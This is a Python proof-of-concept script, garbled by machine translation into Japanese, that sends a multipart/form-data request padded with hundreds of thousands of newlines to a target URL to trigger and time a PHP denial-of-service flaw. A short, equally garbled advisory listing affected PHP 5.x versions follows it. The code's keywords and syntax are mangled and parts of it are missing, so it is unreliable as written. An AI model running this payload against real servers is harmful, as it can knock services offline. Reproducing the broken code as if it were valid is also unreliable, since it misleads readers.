インポートSYS インポートurllibは、urllib2の インポート日時 optparseはインポートはOptionParserから DEF HTTP_PROXY(proxy_url): proxy_handler = urllib2.ProxyHandler({ "HTTP":proxy_url}) null_proxy_handler = urllib2.ProxyHandler({}) オープナー= urllib2.build_opener(proxy_handler) urllib2の.install_opener(オープナー) #END HTTP_PROXY DEF check_php_multipartform_dos(URL、post_body、ヘッダ): REQ =はurllib2.Request(URL) headers.keysにおけるキーの(): req.add_header(キー、ヘッダ[キー]) STARTTIME =日時。 datetime.now(); FD = urllib2.urlopen(REQ、post_body) HTML = fd.read() ENDTIME = datetime.datetime.now() usetime =(終了時刻- STARTTIME).seconds もし(usetime> 5): 結果= URL + "は脆弱です"。 他: (usetime> 3)の場合: 結果= "必要性通常の応答時間を確認するには、" リターン[結果、usetime] #END デフメイン(): #http_proxy( "http://127.0.0.1:8089") パーサ=はOptionParser () parser.add_option( " - T"を、 "--target"、アクション= "店舗"、 DEST = "ターゲット"、 デフォルト= Falseを、 タイプ= "文字列"、 ヘルプ= "テストターゲット") (オプション、引数)= parser.parse_args() の場合(options.target): 他: リターン; NUM = 350000 ヘッダー= { 'のContent-Type':「マルチパート/フォームデータ。境界= ---- WebKitFormBoundaryX3B7rDMPcQlzmJE1' 、 'エンコードを受け入れ': 'gzipで、デフレート'、 'ユーザーエージェント': 'のMozilla / 5.0(Windows NTの6.1; WOW64) のAppleWebKit / 537.36(KHTML、ヤモリなど)クローム/ 40.0 .2214.111サファリ/ 537.36' } 本体= "------ WebKitFormBoundaryX3B7rDMPcQlzmJE1 \ nContent-処分: フォームデータ、名前= \"ファイル\ ";ファイル名= sp.jpg" ペイロード= "" 私のための範囲内(0 、NUM): ペイロード=ペイロード+ "\ n"は 本体=ボディ+ペイロード。 ボディ=ボディ+ "のContent-Type:アプリケーション/ octet-streamの\ rを\ nは\ rを\ ndatadata \ rを\ nは------ プリント"開始.. 応答= check_php_multipartform_dos(ターゲット、ボディ、ヘッダ) 印刷"結果:" 印刷応答[0] "応答し時間: "印刷+ STR(応答[1])+"秒"。 __name場合__ == "__ MAIN__": メイン()
PHPは、HTTPリクエストマルチパート/フォームデータのヘッダデータを処理するとき、繰り返し割当及びPHPメモリコピー動作の多数が得られ、ごみへのリモートを引き起こす可能性が、100%のCPU使用率とより長い持続時間をもたらすことができるセキュリティ脆弱性が存在しますサービス攻撃。影響を受けるソフトウェアおよびシステム:PHP 5.0.0 - 5.0.5、PHP 5.1.0 - 5.1.6、PHP 5.2.0 - 5.2.17、PHP 5.3.0 - 5.3.29、PHP 5.4.0 - 5.4。 40; PHP 5.5.0 - 5.5.24、PHP 5.6.0 - 5.6.8